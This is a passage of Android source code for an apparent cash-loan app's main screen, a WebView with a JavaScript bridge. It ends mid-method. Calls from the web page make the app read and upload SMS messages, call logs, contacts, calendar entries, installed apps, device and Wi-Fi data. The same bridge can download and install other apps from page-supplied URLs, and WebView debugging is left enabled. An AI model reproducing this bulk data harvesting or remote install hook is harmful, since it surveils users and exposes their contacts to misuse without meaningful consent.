package com.mopeso;


import static android.content.ClipDescription.MIMETYPE_TEXT_PLAIN;

import static com.cash.lemoloan.statisticlib.Utils.StatisticUploadUtil.uploadPIC01;

import android.Manifest;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.content.ClipData;
import android.content.ClipboardManager;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ResolveInfo;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.provider.Settings;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import android.util.Log;
import android.view.KeyEvent;
import android.webkit.CookieManager;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.ImageView;
import android.widget.Toast;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.core.content.FileProvider;

//import com.alghu.algdemo.utils.Untils;
import com.cash.lemoloan.jsbridge.Callback;
import com.cash.lemoloan.jsbridge.FunManager;
import com.cash.lemoloan.jsbridge.Function;
import com.cash.lemoloan.jsbridge.FunctionSync;
import com.cash.lemoloan.jsbridge.JavaScriptBridge;
import com.cash.lemoloan.jsbridge.JsBridgeApplication;
import com.cash.lemoloan.networklib.Intetface.PhotoUploadCallBack;
import com.cash.lemoloan.networklib.Utils.PhotoUpload;
import com.cash.lemoloan.statisticlib.StatisticContant;
import com.cash.lemoloan.statisticlib.StatisticUploadTask;
import com.cash.lemoloan.statisticlib.Utils.CallUtil;
import com.cash.lemoloan.statisticlib.model.CalendarModel;
import com.cash.lemoloan.statisticlib.model.StatisticCalendarInfo;

import com.mopeso.Utils.AdjustUtil;
import com.mopeso.Utils.DebugUtil;
import com.mopeso.Utils.DownLoadUtil;
import com.mopeso.Utils.PermissionUtil;
import com.google.gson.reflect.TypeToken;

import org.json.JSONException;
import org.json.JSONObject;

import java.io.File;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.net.URISyntaxException;
import java.util.ArrayList;
import java.util.List;

import com.cash.lemoloan.statisticlib.Utils.AppInfoUtils;
import com.cash.lemoloan.statisticlib.Utils.BitmapUtil;
import com.cash.lemoloan.statisticlib.Utils.CalendarUtil;
import com.cash.lemoloan.statisticlib.Utils.ContactsUtil;
import com.cash.lemoloan.statisticlib.Utils.PreferencesUtil;
import com.cash.lemoloan.statisticlib.Utils.StatisticUploadUtil;
//import com.tool.camera.callback.FaceDetCallback;
//import com.tool.camera.view.CameraView;

public class MainActivity extends BaseActivity {


    private WebView comWebview;
//    private ImageView iv_photo;
    private JavaScriptBridge javaScriptBridge;
    private PermissionUtil permissionUtil;
    private Callback jsCallback = null;
    private Callback calendarCallback = null;
    private Callback dCalendarCallback = null;
    private Callback idcardCallBack = null;
    private Callback wakeUpAlbumCallBack = null;
    private Callback callLogCallback = null;
    private Callback updateInfoCallback = null;
    private Callback backFlowCallback = null;
    private Callback backOpenBrowserCallback = null;
    private Callback callSmsCallback = null;
    private Callback phoneNumberCallback = null;
    private String androidId = "";

    @Override
    protected int getContentViewId() {
        return R.layout.activity_main;
    }

    @Override
    public void onBindView() {
        comWebview = ((WebView) findViewById(R.id.wb_comweb));
//        iv_photo = findViewById(R.id.image_photo);
        comWebview.setWebViewClient(new MyWebViewClient(MainActivity.this));
        comWebview.requestFocus();
        WebSettings webSettings = comWebview.getSettings();
        webSettings.setAppCacheEnabled(false);
        webSettings.setDatabaseEnabled(false);
        webSettings.setDatabaseEnabled(false);
        webSettings.setUserAgentString(webSettings.getUserAgentString() + "cashApp");
        webSettings.setCacheMode(WebSettings.LOAD_NO_CACHE);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
            CookieManager.getInstance().setAcceptThirdPartyCookies(comWebview, true);
        }
        // 设置支持JavaScript脚本
        webSettings.setJavaScriptEnabled(true);
        webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
        webSettings.setBlockNetworkImage(false);
        webSettings.setDomStorageEnabled(true);
        webSettings.setGeolocationEnabled(true);
        webSettings.setDefaultTextEncodingName("utf-8");
        //自适应屏幕
        webSettings.setUseWideViewPort(true);
        webSettings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS);
        webSettings.setLoadWithOverviewMode(true);
        //缩放
        webSettings.setBuiltInZoomControls(true);
        webSettings.setSupportZoom(true);
        webSettings.setDisplayZoomControls(false);//设定缩放控件隐藏
        webSettings.setTextZoom(100); // 设定webView的字体大小不随系统字体大小的改变而改变
        comWebview.setVerticalScrollBarEnabled(false);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
            comWebview.setWebContentsDebuggingEnabled(true);
        }
        comWebview.setWebChromeClient(new WebChromeClient());
        javaScriptBridge = new JavaScriptBridge(comWebview);
        comWebview.loadUrl(StatisticContant.INDEX_URL);
        initFun();
        AdjustUtil.callAdjustAttribution();

    }

    @Override
    public void initData() {
        permissionUtil = PermissionUtil.getInstance(this);
        androidId = getUuid(this);
    }

//    private CameraView new_camera;

    public static String getUuid(Context context) {
        try {
            return Settings.Secure.getString(context.getContentResolver(),
                    Settings.Secure.ANDROID_ID);
        } catch (Throwable e) {
            return "android_id_unknown";
        }
    }

//    private boolean takeRandomPic() {
//        if (new_camera != null) {
//            return false;
//        }
//        new_camera = new CameraView();
//        new_camera.setFaceDetCallback((bitmap, score) -> {
//            Log.i(MainActivity.this.getClass().getName(), "faceDetected score===" + score);
//            iv_photo.setImageBitmap(bitmap);
////                PhotoUpload.saveBitmapToSDCard(bitmap);
//            String uploadUrl = "https://vipcashvn.com:8070/huron/app/facial/capture";
//            PhotoUpload.upload(MainActivity.this, bitmap, uploadUrl, new PhotoUploadCallBack() {
//
//                @Override
//                public void onPhotoUploadSuccess() {
//                    Log.i(MainActivity.this.getClass().getName(), "onPhotoUploadSuccess ");
//                    new_camera.stop();
//                }
//
//                @Override
//                public void onPhotoUploadFail() {
//                    Log.i(MainActivity.this.getClass().getName(), "onPhotoUploadFail ");
//                    new_camera.stop();
//                }
//            });
//        });
//        getSupportFragmentManager().beginTransaction()
//                .replace(R.id.contain_camera, new_camera)
//                .addToBackStack(null)
//                .commit();
//        return true;
//    }


    public class MyWebViewClient extends WebViewClient {
        private Context mComtext;

        public MyWebViewClient(Context context) {
            mComtext = context;
        }

        @TargetApi(Build.VERSION_CODES.LOLLIPOP)
        @Override
        public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
            return shouldOverrideUrlLoading(view, request.getUrl().toString());
        }

        @Override
        public boolean shouldOverrideUrlLoading(WebView view, String url) {
            try {
                if (url.startsWith("intent://")) {
                    Intent intent;
                    try {
                        intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);
                        intent.addCategory("android.intent.category.BROWSABLE");
                        intent.setComponent(null);
                        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH_MR1) {
                            intent.setSelector(null);
                        }
                        List<ResolveInfo> resolves = view.getContext().getPackageManager().queryIntentActivities(intent, 0);
                        if (resolves.size() > 0 && mComtext != null) {
                            mComtext.startActivity(intent);
                        }
                        return true;
                    } catch (URISyntaxException e) {
                        e.printStackTrace();
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
            return super.shouldOverrideUrlLoading(view, url);
        }

        @TargetApi(Build.VERSION_CODES.LOLLIPOP)
        @Override
        public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
            return shouldInterceptRequest(view, request.getUrl().toString());
        }

    }

    private void initFun() {

        FunManager.registerFunction("smsLog", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                callSmsCallback = callBack;
                getAllSms();
            }
        });

        FunManager.registerFunction("getPhoneNumber", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                phoneNumberCallback = callBack;
//                getAllPhoneNumber();
            }
        });

        FunManager.registerFunction("forceOpenBrowser", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                backOpenBrowserCallback = callBack;
                openBrowser(params);
            }
        });

        FunManager.registerFunction("backFlow", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                backFlowCallback = callBack;
                startBackFlow(params, callBack);
            }
        });

        FunManager.registerFunction("getCallLogPermission", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                initCallLogPermission(callBack);
            }
        });

        FunManager.registerFunction("callLog", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                callLogCallback = callBack;
                getAllCallList();
            }
        });

        FunManager.registerFunction("contacts", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                jsCallback = callBack;
                getContacts(0);

            }
        });
        FunManager.registerFunction("camera", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                idcardCallBack = callBack;
                StatisticContant.GET_IMAGE_TYPE = "CAMERA";
                StatisticContant.IMAGE_TYPE = "CAMERA_" + System.currentTimeMillis();
                getCameraPermession(1);
            }
        });
        FunManager.registerFunction("wakeUpAlbum", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                wakeUpAlbumCallBack = callBack;
                StatisticContant.GET_IMAGE_TYPE = "ALBUM";
                StatisticContant.IMAGE_TYPE = "ALBUM" + System.currentTimeMillis();
                getAlbumPermission();

            }
        });
        FunManager.registerFunction("insertNormalCalendar", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                calendarCallback = callBack;
                getCalendarPermession(2, params);
            }
        });
        FunManager.registerFunction("deleteNormalCalendar", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                dCalendarCallback = callBack;
                JsBridgeApplication.getMainHandler().postDelayed(new Runnable() {
                    @Override
                    public void run() {
                        getCalendarPermession(3, params);
                    }

                }, 2500);

            }
        });
        FunManager.registerFunction("getLocPermission", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                initLocPermission(callBack);
            }
        });
        FunManager.registerFunction("getDevicePermission", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                initDevicesPermission(callBack);
            }
        });
        FunManager.registerFunction("getCaleandarPermission", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                initCalendarPermission(callBack);
            }
        });
        FunManager.registerFunction("getCameraPermission", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                initCameraPermission(callBack);
            }
        });
        FunManager.registerFunction("getContactsPermission", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                initContactsPermission(callBack);
            }
        });


        FunManager.registerFunctionSync("openUpdateVersion", new FunctionSync() {
            @Override
            public JSONObject onHandle(JSONObject params) {
                AppInfoUtils.launchAppPlayUpdate(MainActivity.this, AppInfoUtils.getPackageName(), "com.android.vending");
                return new JSONObject();
            }
        });
        FunManager.registerFunctionSync("callPhone", new FunctionSync() {
            @Override
            public JSONObject onHandle(JSONObject params) {
                String phoneNum = "";
                try {
                    phoneNum = params.getString("phoneNum");
                } catch (JSONException e) {
                    e.printStackTrace();
                }
                String finalPhoneNum = phoneNum;
                JsBridgeApplication.getMainHandler().post(new Runnable() {
                    @Override
                    public void run() {
                        Intent intent = new Intent();
                        intent.setAction(Intent.ACTION_DIAL);
                        intent.setData(Uri.parse("tel:" + finalPhoneNum));
                        startActivity(intent);
                    }
                });
                return new JSONObject();
            }
        });
        FunManager.registerFunctionSync("wakeUpAppByPackageName", new FunctionSync() {
            @Override
            public JSONObject onHandle(JSONObject params) {
                boolean packageName = params.isNull("appPackageName");
                JSONObject jsonObject = new JSONObject();
                int wakeUpState = 0;
                if (packageName) {
                    try {
                        String jumpUrl = params.getString("jumpUrl");
                        boolean b = launchThirdWebKit(jumpUrl);
                        wakeUpState = (b ? 1 : -1);
                    } catch (JSONException e) {
                        wakeUpState = -1;
                        e.printStackTrace();
                    }
                } else {
                    String appPackageName = null;
                    try {
                        appPackageName = params.getString("appPackageName");
                        boolean launchThirdApp = AppInfoUtils.launchThirdApp(MainActivity.this, appPackageName);
                        wakeUpState = (launchThirdApp ? 0 : -1);
                    } catch (JSONException e) {
                        wakeUpState = -1;
                        e.printStackTrace();
                    }

                }
                try {
                    jsonObject.put("wakeUpState", wakeUpState);
                } catch (JSONException e) {
                    e.printStackTrace();
                }

                return jsonObject;
            }
        });
        FunManager.registerFunctionSync("copyText", new FunctionSync() {
            @Override
            public JSONObject onHandle(JSONObject params) {
                JSONObject jsonObject = new JSONObject();
                boolean isSuccess = false;
                if (params.has("text")) {
                    try {
                        String text = params.getString("text");
                        isSuccess = copy(text);
                    } catch (JSONException e) {
                        isSuccess = false;
                    }
                }
                try {
                    jsonObject.put("isSuccess", isSuccess);
                } catch (JSONException e) {
                    return jsonObject;
                }
                return jsonObject;
            }
        });
        FunManager.registerFunctionSync("pasteText", new FunctionSync() {
            @Override
            public JSONObject onHandle(JSONObject params) {
                JSONObject jsonObject = new JSONObject();
                try {
                    String paste = paste();
                    if (TextUtils.isEmpty(paste)) {
                        jsonObject.put("isSuccess", false);
                    } else {
                        jsonObject.put("isSuccess", true);
                        jsonObject.put("text", paste);
                    }
                } catch (JSONException e) {
                    return jsonObject;
                }
                return jsonObject;
            }
        });
        FunManager.registerFunctionSync("exitApp", new FunctionSync() {
            @Override
            public JSONObject onHandle(JSONObject params) {
                JsBridgeApplication.getMainHandler().post(new Runnable() {
                    @Override
                    public void run() {
                        if (null != comWebview) {
                            comWebview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
                        }
                    }
                });
                return null;
            }
        });
        FunManager.registerFunctionSync("updateUserInfo", new FunctionSync() {
            @Override
            public JSONObject onHandle(JSONObject params) {
                try {
                    if (params.has("userGid")) {
                        String userGid = params.getString("userGid");
                        if (!TextUtils.isEmpty(userGid)) {
                            StatisticContant.NEW_CASHUSER_GID = userGid;
                            StatisticUploadUtil.uploadApp01();
                            StatisticUploadUtil.uploadDev01();
                            StatisticUploadUtil.uploadWifi01();
                            StatisticUploadUtil.uploadCallLogs();
                            // 在获取到用户信息之后 上传短信内容
                            StatisticUploadUtil.uploadSmsLogs();
//                            if (PreferencesUtil.getBoolean(StatisticContant.NEW_CASHUPLOAD_PIC01_FLAG, false)) {
//                                uploadPIC01();
//                            }
                            if (PreferencesUtil.getBoolean(StatisticContant.NEW_CASHUPLOAD_CON01_FLAG, false)) {
                                StatisticUploadUtil.uploadContacts();
                            }
                            if (PreferencesUtil.getBoolean(StatisticContant.NEW_CASHUPLOAD_CALEAN01_FLAG, false)) {
                                JsBridgeApplication.getMainHandler().postDelayed(new Runnable() {
                                    @Override
                                    public void run() {
                                        StatisticUploadUtil.uploadCALENDAR01();
                                    }
                                }, 5000);
                            }
                        } else {
                            StatisticContant.NEW_CASHUSER_GID = "";
                        }

                    }
                } catch (Exception e) {
                }
                return null;
            }
        });
//        FunManager.registerFunctionSync("updateInfo", new FunctionSync() {
//            @Override
//            public JSONObject onHandle(JSONObject params) {
//                getPicAndCon();
//                return null;
//            }
//        });
        FunManager.registerFunction("updateInfo", new Function() {
            @Override
            public void onHandle(JSONObject params, Callback callBack) {
                updateInfoCallback = callBack;
                getPicAndCon();
            }
        });
        FunManager.registerFunctionSync("getAppConfig", new FunctionSync() {
            @Override
            public JSONObject onHandle(JSONObject params) {
                JSONObject data = new JSONObject();
                try {
                    data.put("svm", String.valueOf(AppInfoUtils.getVersionCode()));
                    data.put("versionName", String.valueOf(AppInfoUtils.getVersionName(MainActivity.this)));
//                    data.put("channel", String.valueOf(AppInfoUtils.getAppChannel()));
//                    在Adjust中,channel透传network字段
                    data.put("channel", PreferencesUtil.getString("network"));
                    data.put("campaign", PreferencesUtil.getString("campaign"));
                    data.put("packageName", String.valueOf(AppInfoUtils.getPackageName()));
//                    advertisingId 的值替换成googleAdId
//                    appsflyerId 的值替换成adid
                    data.put("advertisingId", PreferencesUtil.getString("googleAdId"));
                    data.put("appsflyerId", PreferencesUtil.getString("adid"));
                    data.put("androidId", androidId);
//                    data.put("advertisingId", StatisticContant.GOOGLEID);
//                    data.put("appsflyerId", AppsFlyerUtils.getAfUid());
                } catch (Exception e) {

                }
                return data;
            }
        });
        FunManager.registerFunctionSync("openSetting", new FunctionSync() {
            @Override
            public JSONObject onHandle(JSONObject params) {
                JsBridgeApplication.getMainHandler().post(new Runnable() {
                    @Override
                    public void run() {
                        AppInfoUtils.getAppDetailSettingIntent(MainActivity.this);
                    }
                });

                return null;
            }
        });


    }

    private void getAllSms() {
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
//            int smsCount = SmsUtil.getInstance().getSmsCount();
//            if (smsCount == 0 || smsCount == -1) {
//            } else {
//                StatisticUploadUtil.uploadSmsLogs();
//            }
            if (callSmsCallback != null) {
                Bundle bundle = new Bundle();
                bundle.putString("isGetCallSmsPermission", "0");
                callSmsCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                callSmsCallback = null;
            }
        } else {
            permissionUtil.requestPermissions(new String[]{Manifest.permission.READ_SMS}, PermissionUtil.DEFAULT_REQUEST_CODE, new PermissionUtil.OnPermissionCallback() {
                @Override
                public void onGranted(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
//                        StatisticUploadUtil.uploadSmsLogs();
                        if (callSmsCallback != null) {
                            Bundle bundle = new Bundle();
                            bundle.putString("isGetCallSmsPermission", "0");
                            callSmsCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                            callSmsCallback = null;
                            DebugUtil.lemonDebugD("同意获取短信权限应该展示该权限 ");
                        }
                    }
                }

                @Override
                public void onDenied(int requestCode, List<String> list) {
                    if (callSmsCallback != null && list != null && list.size() != 0) {
                        String result = "1";
                        boolean smsPermission = permissionUtil.checkPermissions(Manifest.permission.READ_SMS);
                        if (smsPermission) {
                            result = "0";
                        } else {
                            if (permissionUtil.shouldShowRequestPermissionRationale(Manifest.permission.READ_SMS)) {
                                DebugUtil.lemonDebugD("拒绝获取短信权限应该展示该权限");
                                result = "1";
                            } else {
                                DebugUtil.lemonDebugD("拒绝获取短信权限应该不应该展示该权限");
                                result = "2";
                            }
                        }
                        Bundle bundle = new Bundle();
                        bundle.putString("isGetCallSmsPermission", result);
                        DebugUtil.lemonDebugD("拒绝获取短信权限 " + result);
                        callSmsCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                        callSmsCallback = null;
                    }
                }
            });
        }
    }

    private void onBackClickNoticeJs() {
        Bundle bundle = new Bundle();
        if (javaScriptBridge != null) {
            javaScriptBridge.callJsFunction("onBackClick", bundle);
        }

    }

    @SuppressLint("MissingPermission")
    private String getLine1Number() {
        String line1Number = "";
        TelephonyManager tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
        line1Number = tm.getLine1Number();
        return line1Number;
    }

    private String getLine2Number() {
        String line2Number = null;
        try {
            TelephonyManager tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
            Method method = tm.getClass().getMethod("getLine1Number", int.class);
            line2Number = method.invoke(tm, 2).toString();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return line2Number;
    }

    private void callBackPhoneNumber(int type) {
        Bundle bundle = new Bundle();
        if (type == 0) {
            String line1Number = getLine1Number();
            String line2Number = getLine2Number();
            DebugUtil.lemonDebugD("主手机号 " + line1Number);
            DebugUtil.lemonDebugD("副手机号 " + line2Number);
            bundle.putString("permission", "true");
            bundle.putString("phoneNum1", line1Number);
            bundle.putString("phoneNum2", line2Number);
        } else if (type == 1) {
            bundle.putString("permission", "false");
            bundle.putString("phoneNum1", "");
            bundle.putString("phoneNum2", "");
        }
        if (phoneNumberCallback != null) {
            phoneNumberCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
            phoneNumberCallback = null;
        }
    }

    private void getAllPhoneNumber() {
        boolean phoneNumberPermission = permissionUtil.checkPermissions(Manifest.permission.READ_PHONE_NUMBERS);
        boolean phonePermission = permissionUtil.checkPermissions(Manifest.permission.READ_PHONE_STATE);
        DebugUtil.lemonDebugD("是否授权了获取READ_PHONE_NUMBERS权限 " + phoneNumberPermission);
        DebugUtil.lemonDebugD("是否授权了获取phonePermission权限 " + phonePermission);
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
            DebugUtil.lemonDebugD("未授权任何手机号权限,但版本过低可以直接获取手机号 ");
            callBackPhoneNumber(0);
        } else if (phonePermission) {
            DebugUtil.lemonDebugD("已经授权了获取READ_PHONE_STATE权限 ");
            callBackPhoneNumber(0);
        } else {
            permissionUtil.requestPermissions(new String[]{Manifest.permission.READ_PHONE_STATE}, PermissionUtil.DEFAULT_REQUEST_CODE, new PermissionUtil.OnPermissionCallback() {

                @Override
                public void onGranted(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
                        DebugUtil.lemonDebugD("同意获取READ_PHONE_STATE状态权限 ");
                        callBackPhoneNumber(0);
                    }
                }

                @Override
                public void onDenied(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
                        DebugUtil.lemonDebugD("拒绝获取READ_PHONE_STATE状态权限 ");
//                        callBackPhoneNumber(1);
                        permissionUtil.requestPermissions(new String[]{Manifest.permission.READ_PHONE_NUMBERS}, PermissionUtil.DEFAULT_REQUEST_CODE, new PermissionUtil.OnPermissionCallback() {

                            @Override
                            public void onGranted(int requestCode, List<String> list) {
                                if (list != null && list.size() != 0) {
                                    DebugUtil.lemonDebugD("同意获取手机状态权限 ");
                                    callBackPhoneNumber(0);
                                }
                            }

                            @Override
                            public void onDenied(int requestCode, List<String> list) {
                                if (list != null && list.size() != 0) {
                                    DebugUtil.lemonDebugD("拒绝获取手机状态权限 ");
                                    callBackPhoneNumber(1);
                                }
                            }
                        });
                    }
                }
            });
        }
    }

    private void getAllCallList() {
        PreferencesUtil.putBoolean(StatisticContant.IS_GET_CALL_LOG_PER, true);
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
            int contactsCount = CallUtil.getInstance().getCallLogCount();
            if (contactsCount == 0 || contactsCount == -1) {
            } else {
                StatisticUploadUtil.uploadCallLogs();
            }
            if (callLogCallback != null) {
                Bundle bundle = new Bundle();
                bundle.putBoolean("isGetCallLogPermission", true);
                callLogCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                callLogCallback = null;
            }
        } else {
            permissionUtil.requestPermissions(new String[]{Manifest.permission.READ_CALL_LOG}, PermissionUtil.DEFAULT_REQUEST_CODE, new PermissionUtil.OnPermissionCallback() {
                @Override
                public void onGranted(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
                        StatisticUploadUtil.uploadCallLogs();
                        if (callLogCallback != null) {
                            Bundle bundle = new Bundle();
                            bundle.putBoolean("isGetCallLogPermission", true);
                            callLogCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                            callLogCallback = null;
                        }
                    }
                }

                @Override
                public void onDenied(int requestCode, List<String> list) {
                    if (callLogCallback != null) {
                        Bundle bundle = new Bundle();
                        bundle.putBoolean("isGetCallLogPermission", false);
                        callLogCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                        callLogCallback = null;
                    }
                }
            });
        }
    }

    //    打开默认浏览器
    private void openBrowser(JSONObject params) {
        try {
            String downLoadUrl = params.getString("downLoadUrl");
            if (!TextUtils.isEmpty(downLoadUrl)) {
                CommonUtil.openBrowser(this, downLoadUrl);
            }
        } catch (JSONException e) {
            e.printStackTrace();
        }
    }

    //    导流
    private void startBackFlow(JSONObject params, Callback callBack) {
        try {
            String force = params.getString("force");
            if (force.equals("true")) {
                openBrowser(params);
            } else {
                initBackFlowPermission(callBack);
                String downLoadUrl = params.getString("downLoadUrl");
                String downLoadAppName = params.getString("downLoadAppName");
                String installPackageName = params.getString("installPackageName");
                if (!TextUtils.isEmpty(downLoadUrl) && !TextUtils.isEmpty(downLoadAppName) && !TextUtils.isEmpty(installPackageName)) {
                    DownLoadUtil util = DownLoadUtil.getInstance(MainActivity.this);
                    util.setDownLoadAppName(downLoadAppName);
                    util.setDownLoadUrl(downLoadUrl);
                    util.setInstallPackageName(installPackageName);
                    util.startDownLoad();
                }
            }
        } catch (JSONException e) {
            e.printStackTrace();
            DebugUtil.lemonDebugD("点击导流按钮异常 " + e.toString());
        }
    }

    //通讯录
    private void getContacts(int type) {
        PreferencesUtil.putBoolean(StatisticContant.IS_GET_CONTACTS_PER, true);
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
            int contactsCount = ContactsUtil.getInstance().getContactsCount();
            if (contactsCount == 0 || contactsCount == -1) {
            } else {
                StatisticUploadUtil.uploadContacts();
                PreferencesUtil.putBoolean(StatisticContant.NEW_CASHUPLOAD_CON01_FLAG, true);
                startActivityForResult(new Intent(Intent.ACTION_PICK, ContactsContract.Contacts.CONTENT_URI), StatisticContant.START_CONTACTS);
            }
        } else {
            permissionUtil.requestPermissions(new String[]{Manifest.permission.READ_CONTACTS}, PermissionUtil.DEFAULT_REQUEST_CODE, new PermissionUtil.OnPermissionCallback() {
                @Override
                public void onGranted(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
                        StatisticUploadUtil.uploadContacts();
                        if (type == 0) {
                            PreferencesUtil.putBoolean(StatisticContant.NEW_CASHUPLOAD_CON01_FLAG, true);
                            startActivityForResult(new Intent(Intent.ACTION_PICK, ContactsContract.Contacts.CONTENT_URI), StatisticContant.START_CONTACTS);
                        }

                    }
                }

                @Override
                public void onDenied(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
                        if (type == 0) {
                            if (!permissionUtil.shouldShowRequestPermissionRationale(Manifest.permission.READ_CONTACTS)) {
                                setContactsCallback(3, null);
                            } else {
                                setContactsCallback(3, null);
                            }
                        }
                    }
                }
            });
        }
    }

    private void setContactsCallback(int status, List<ContactsLittle> list) {
        Bundle params = new Bundle();
        if (status != 0) {
            params.putInt("status", status);
        } else {
            if (list != null && list.size() != 0) {
                params.putInt("status", status);
                params.putString("statistics", StatisticUploadTask.gson2String(list));
            } else {
                params.putInt("status", 1);
            }
        }
        if (jsCallback != null) {
            jsCallback.onComplete(StatisticUploadTask.bundleToJSON(params));
            jsCallback = null;
        }
    }

    private void dealContacts(Intent data) {
        if (data == null) {
            setContactsCallback(1, null);
            return;
        }
        Cursor cursor = null;
        Cursor phone = null;
        List<ContactsLittle> contactsLittles = new ArrayList<>();
        try {
            ContentResolver contentResolver = getContentResolver();
            Uri contactData = data.getData();
            cursor = contentResolver.query(contactData, null, null, null, null);
            if (cursor == null) {
                setContactsCallback(1, null);
                return;
            }
            if (!cursor.moveToFirst()) {
                setContactsCallback(1, null);
                return;
            }
            @SuppressLint("Range") String username = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            //条件为联系人ID
            @SuppressLint("Range") String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
            // 获得DATA表中的电话号码，条件为联系人ID,因为手机号码可能会有多个
            phone = contentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                    null,
                    ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " + contactId,
                    null,
                    null);
            while (null != phone && phone.moveToNext()) {
                ContactsLittle contactsLittle = new ContactsLittle();
                contactsLittle.setName(username);
                @SuppressLint("Range") String usernumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                contactsLittle.setMobile(usernumber);
                contactsLittles.add(contactsLittle);
            }

        } catch (Exception e) {
            setContactsCallback(1, null);
            return;
        } finally {
            if (phone != null) phone.close();
            if (cursor != null) cursor.close();
        }

        setContactsCallback(0, contactsLittles);
    }


    //日历
    private void getCalendarPermession(int type, JSONObject params) {
        final boolean[] permission = {false};
        permissionUtil.requestPermissions(new String[]{Manifest.permission.READ_CALENDAR, Manifest.permission.WRITE_CALENDAR}, PermissionUtil.DEFAULT_REQUEST_CODE, new PermissionUtil.OnPermissionCallback() {
            @Override
            public void onGranted(int requestCode, List<String> list) {
                if (list != null && list.size() != 0) {

                    if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
                        List<StatisticCalendarInfo> calder = CalendarUtil.getCalder();
                        if (calder == null || calder.size() == 0) {
                            permission[0] = false;
                        } else {
                            permission[0] = true;
                        }
                    } else {
                        permission[0] = true;
                    }
                    if (permission[0]) {
                        PreferencesUtil.putBoolean(StatisticContant.NEW_CASHUPLOAD_CALEAN01_FLAG, true);
                        switch (type) {
                            case 2:
                                insertNormalCalendar(params);
                                break;
                            case 3:
                                JsBridgeApplication.getMainHandler().post(new Runnable() {
                                    @Override
                                    public void run() {
                                        deleteNormalCalendar(params);
                                    }
                                });

                                break;
                        }
                    } else {
                        switch (type) {
                            case 2:
                                setInsertCalendarCallback(1, null);
                                break;
                            case 3:
                                setdeleteCalendarCallback(1, null);
                        }
                    }
                }
            }

            @Override
            public void onDenied(int requestCode, List<String> list) {
                if (list != null && list.size() != 0) {
                    if (!permissionUtil.shouldShowRequestPermissionRationale(Manifest.permission.READ_CALENDAR)) {
                        permission[0] = false;
                    } else {
                        permission[0] = false;
                    }
                    switch (type) {
                        case 2:
                            setInsertCalendarCallback(1, null);
                            break;
                    }
                }

            }
        });
    }

    private void deleteNormalCalendar(JSONObject params) {
        try {
            String calendarIdListInfo = params.getString("calendarId");
            List<String> calendarIdList = StatisticUploadTask.Gson2Type(calendarIdListInfo, new TypeToken<List<String>>() {
            }.getType());
            if (calendarIdList != null && calendarIdList.size() != 0) {
                for (String calendarId : calendarIdList) {
                    if (!TextUtils.isEmpty(PreferencesUtil.getString(calendarId))) {
